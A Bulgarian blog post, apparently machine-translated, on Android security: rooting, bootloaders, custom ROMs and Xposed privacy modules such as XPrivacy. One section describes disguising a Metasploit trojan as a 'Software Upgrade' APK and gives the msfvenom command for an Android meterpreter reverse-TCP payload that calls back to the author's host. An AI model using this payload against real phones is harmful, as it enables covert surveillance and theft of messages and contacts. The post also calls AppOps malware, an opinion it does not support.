Източник на изображението: pixabay.com

Въведение в Android

В тази тема ще научим за Android и сигурност с отворен код (OS). Android е платформа с отворен код. Прилича много на Linux, но все пак твърде различен от Linux. Linux е твърде зрял в сравнение с Android. И така, това е Chetan Nayak и добре дошли в следващия ми блог за Open Source Web Security. Написах този блог, приемайки, че повечето от нас ще използват Android K, т.е. Kitkat или Android L, т.е. Lollipop.

Причината да е Gingerbread и Jellybean имаше много проблеми със сигурността с отворен код, които не мога да обсъдя в този единствен блог. Така че, може би ще го обсъдя следващия път, когато се спра по-задълбочено на по-старите версии на Android. И така, от сега, нека се придържаме към KitKat и Lollipop.

Android е проектиран с оглед на разработчиците. Контролите за сигурност са проектирани да намалят тежестта за разработчиците. Развиващите се в сигурността разработчици могат лесно да работят и да разчитат на гъвкави контроли за сигурност. Разработчиците, които не са толкова запознати със сигурността, ще бъдат защитени от безопасни настройки по подразбиране.

Началото

Не бях много в андроида до по-късното тримесечие на 2013 г., когато имах първия си мобилен телефон с Android, който беше Sony Xperia L (базиран на 4.2.2 от тогава). По дяволите, дори мразех андроида, като причината беше, че беше изключително мързелива, особено Samsung устройства. Тогава дори обмислях да купя Windows Lumia, но за щастие, играех много игри и трябваше да купя Xperia L, тъй като тази клетка беше Lag Proof. Имаше около 1 гига оперативна памет и Adreno 305. Достатъчно готин, за да работи всичко.

След като играх много игри като NOVA3 и ModernCombat4, се отегчих от тази клетка в рамките на месец. Знаех, че Android е базиран на Linux и исках да направя някои от моите модификации по този въпрос. Започнах да чета за Персонализации и научих за това, което се нарича „Вкореняване“. Тъй като имах добър бекхенд в Linux, вкореняването не беше проблем при мен. С малко помощ от XDA успях да изкореня успешно своята клетка.

Но тогава нещо ме удари. Веднага след като моята клетка се рестартира след вкореняване, тя просто започна зареждане (забита на стартовия екран завинаги). Дори не знаех какъв bootloader е в android. И така, нямаше какво да направя. Това беше само един месец от закупуването на новата ми клетка и сега килията ми беше мека. Винаги чета вкореняване е опасно, но не знаех, че ще тухли моята клетка. Но сгреших. Докато продължих да чета една и друга вещ по вкореняването, разбрах, че вкореняването не тушира ​​телефона ви.

Вкореняването е точно подобно на Admin Access в компютър (Всъщност това е системен достъп, но написах Admin Access, така че е лесно да се разбере за noobs.). Това означава, че вкореняването никога няма да тушира ​​телефона ви. Именно буутлоудърът тушира ​​телефона ми. За хора, които не знаят bootloader е; bootloader е подобен на BIOS в Windows. (Ако не знаете какво е BIOS, тогава не трябва дори да четете мисълта за сигурността на първо място.) Bootloader или Hboot (така се нарича в android) е първото нещо, което се стартира, когато стартирате своя Android устройство.

Той пакетира инструкциите за зареждане на ядрото на операционната система и повечето от тях са специално проектирани да изпълняват собствена среда за отстраняване на грешки или модификации.

Проверката за сигурност на Android

Помислете за bootloader като контролна точка за сигурност на вашето устройство. Ако нарушите тази контролна точка, тогава ще загубите всичко, което имате на телефона си. Така че, това е добра функция за сигурност, казвам. Защото ако загубите телефона си и някой се опита да получи корен достъп, за да заобиколи ключалката (ако приемем, че сте заключили устройството си с щифт или парола.), Тогава той задължително ще трябва да отключи зареждащия механизъм, което ще доведе до изтриване на вашите данни на телефона.

Така че, не е нужно да се притеснявате, че някой го злоупотреби. Така че, подобен е случаят с персонализирани ROMS. ROM са операционни системи, базирани на версии на Android, специално разработени за вашата хардуерна архитектура. Така че, ако проверите на XDA, за вашия телефон, ще имате n брой персонализирани ROM за вашите телефони, някои от най-известните са Cyanogen Mod ROM, които вече са вкоренени и идват с предварително определен набор от персонализиране,

Защитата OverRide на Android

Може да мислите от сега, че имате сигурен мобилен телефон. Но аз съм тук, за да докажа отново, че грешите и това е цялата точка на този блог. До второто тримесечие на 2014 г. хората вече бяха започнали да разработват експлоатации и руткити за Android, които могат да изкоренят вашите мобилни телефони, без дори да отключите зареждащите устройства.

Не е достатъчно страшно? Нека ви кажа най-опасната част. Те дори биха могли да инсталират троянци вътре в това. Така че, дори ченгетата да успеят да проследят клетката и дори да си върнете килията, все още има голям риск те да видят всичко, което правите на телефона си. Това е нещо, което опитах като експеримент в действителна практическа среда.

Използвах Metasploit за тази атака. Това, което направих беше, че създадох троян и го инсталирах в целевия телефон. Това беше обикновен apk файл и го нарекох Software Upgrade. Така че, ако потребителят е просто обикновен човек с само бит и байт информация за сигурността, той дори няма да се осмели да го премахне. И се уверих, че когато се активира интернет, създаденият от мен злонамерен софтуер автоматично ще се изпълни и ще се свърже обратно към отдалечения ми порт на хост машината.

Следните команди бяха използвани за атаката (Metasploit е софтуер за тестване на проникване, който помага при проверка на уязвимостите на платформа или конкретни устройства.)

IP адрес на моя хост: 192.168.xx.xx

Моят хост порт (за да се свържете обратно): 445

>>>msfvenom

>>> msfvenom android / meterpreter / reverse_tcp LHOST = 192.168.xx.xx LPORT = 445> SoftwareUpgrade.apk

И така, тук създадох обратен TCP канал на моя компютър. И така, всеки път, когато интернет стартира на андроида, ще получа отворен корпус на моята машина Kali или на машината, на която съм инсталирал Metasploit.

И така, сега знаете колко е страшно за човек, когото дори не познавате, има записи на всяка транзакция, която извършвате през мобилния си телефон, всеки друг контакт, WhatsApp съобщения, SMS, Viber и Skype дневник на разговорите и всичко. Ако това не е страшно, тогава не знам какво е.

Препоръчителни курсове

  • Сертификационен курс по отстраняване на грешки в Ruby
  • Пълен курс на PHP MySQL
  • Курс за онлайн сертифициране в програмирането на VB.NET
  • Онлайн курс на фондация ITIL

Покритието

Стига по въпросите на сигурността. Всички знаем, че всяка друга платформа има проблеми със сигурността. Как бихме могли да бъдем сигурни тогава? Това не е съвсем вярно. Платформите могат да бъдат защитени до определена точка, но след това, ние трябва да сме сигурни, че ще остане по този начин. В света на сигурността има скандален цитат:

„Социално инженерство: Защото няма пластир за глупостта на човека“

Чух тази фраза много отдавна, когато гледах конференция на DefCon.

Когато няма техническа уязвимост за експлоатация, трябва да се опитате да хакнете хората. И под това нямам предвид хипнотизъм и други неща. Имам предвид социалното инженерство. Можете да прочетете другия ми блог „Важността на киберсигурността в ежедневния ни живот“ за повече информация за това.

Основна функция за сигурност на Android

Освен това социалното инженерство, за което може да се погрижите само ако сте умни; има начини как можете да разработвате андроид приложения по сигурен начин, за да сте сигурни, че така остава.

Ето някои от основните функции за защита, които ви помагат да изградите защитени приложения:

  • Приложението за приложения за Android, което изолира данните на приложението ви и изпълнението на кода от други приложения.
  • Приложна рамка със стабилни реализации на обща функционалност за защита като криптография, разрешения и защитен IPC.
  • Криптирана файлова система, която може да бъде активирана за защита на данни на загубени или откраднати устройства.
  • Разрешения, предоставени от потребителя за ограничаване на достъпа до системни функции и потребителски данни.
  • Дефинирани от приложение разрешения за контрол на данните на приложенията на база приложение.

Какво можете да направите, ако искате защитена среда, но не сте разработчик?

Що се отнася до Android 5, т.е. Lollipop, той предлага функция, при която потребителят може да добавя множество профили и ограничени режими за използване на телефони и таблети. Освен това, ако сте вкоренили телефона си, има андроид приложения в Xposed модули като AppOps, Xprivacy или Privacy Guard, които могат да ви помогнат да се грижите за почти всичко. За това трябва да инсталирате Xposed Framework.

Xposed Framework е това, което позволява на Xposed модулите да работят. Xposed модулите ви позволяват да промените поведението на Apk файлове и системни файлове, без да е необходимо да инсталирате различен ROM. Освен това е лесно да отмените промените, така че тук има малък риск и дори не отнема много време, тъй като няма нужда да мигате няколко ROM, ядра и техните корекции на грешки.

Xprivacy, Privacy Guard и AppOps са изложени модули, които ви позволяват да направите своя андроид защитен, като изберете кое приложение трябва да има достъп до това, като например интернет, клавиатура, sdcard, root достъп и много други неща. Можете дори да деактивирате достъпа само до конкретни услуги и да създадете определени за потребителя шаблони за това. Що се отнася до мен, предпочитам да избирам Xprivacy. Но ето някои информация или разлики, ако се молите да се различавате, за да изберете между горните три.

AppOps:

Първоначално това беше въведено от Google в Android 4.3. (Това е основната причина да не го подкрепям. Не вярвам на Google. Наречете го Параноя, но google проследява всичко, което правите. И нямам нужда от някой, който да следи всичко, което правя, но ако се доверите на Google, направи го.). Основното ограничение на AppOps е, че Google ви позволява да блокирате достъпа само до онези приложения, които искате да блокирате.

Това означава, че ако искате да блокирате приложения, свързани с Google, като Play Services (които всъщност консумират повече от 50% от нормалната ви памет, батерия и данни (интернет)), няма да можете. Това е още една причина да мразя Google. Така че, аз вярвам, че AppOps не е нищо друго освен злонамерен софтуер. (но това просто мисля по този начин, не е, ако се доверите на Google единствено от сърце)

Поверителност:

Privacy Guard е лесен за използване интерфейс, направен в замяна на AppOps от Cyanogen Mod. Ако сте начинаещ, тогава ви предлагам да използвате това, тъй като има само бутон за изключване и самодефинирани шаблони за това кой вид приложение трябва да има достъп до какво. Това не е толкова сигурно, ако има зловреден софтуер, който действа или се представя като системно приложение. Но е добре да започнете.

Xprivacy:

Xprivacy е инструмент Всичко в едно. Но е насочена към експертите. Можете да го сравните с швейцарски армейски нож. Той има всичко в себе си и може да направи телефона ви сигурен по всякакъв друг начин, но ако не знаете какво правите, той само ще обърка телефона ви и ще спре приложенията дори да стартират. Можете също да ограничите достъпа до системни приложения. Този е това, което аз лично предпочитам да избера.

Освен горните модули има дори и други модули като Lightening Firewall или BootManager в Xposed, които могат да помогнат за ограничаване на достъпа до интернет за определени приложения и да спрат приложенията да се зареждат заедно със системата при рестартиране на телефон.

Така че, това би било за този блог. В случай на проблеми със сигурността, вие със сигурност можете да посетите или да сте член на уебсайта на XDA, който може да ви предостави много повече информация за поверителността.

Препоръчителни статии: -

Това е ръководство за Android. Тук обсъдихме основната концепция, контролните точки за сигурност и основната функция за сигурност на Android. Можете да разгледате и другите ни предложени статии, за да научите повече -

  1. Въпроси за интервю за Android - Топ 10 полезни въпроса
  2. 8 полезни алтернативи Siri за Android
  3. 28 най-добри съвети и трикове за инструменти за развитие на приложения за Android
  4. Кариери в Android Development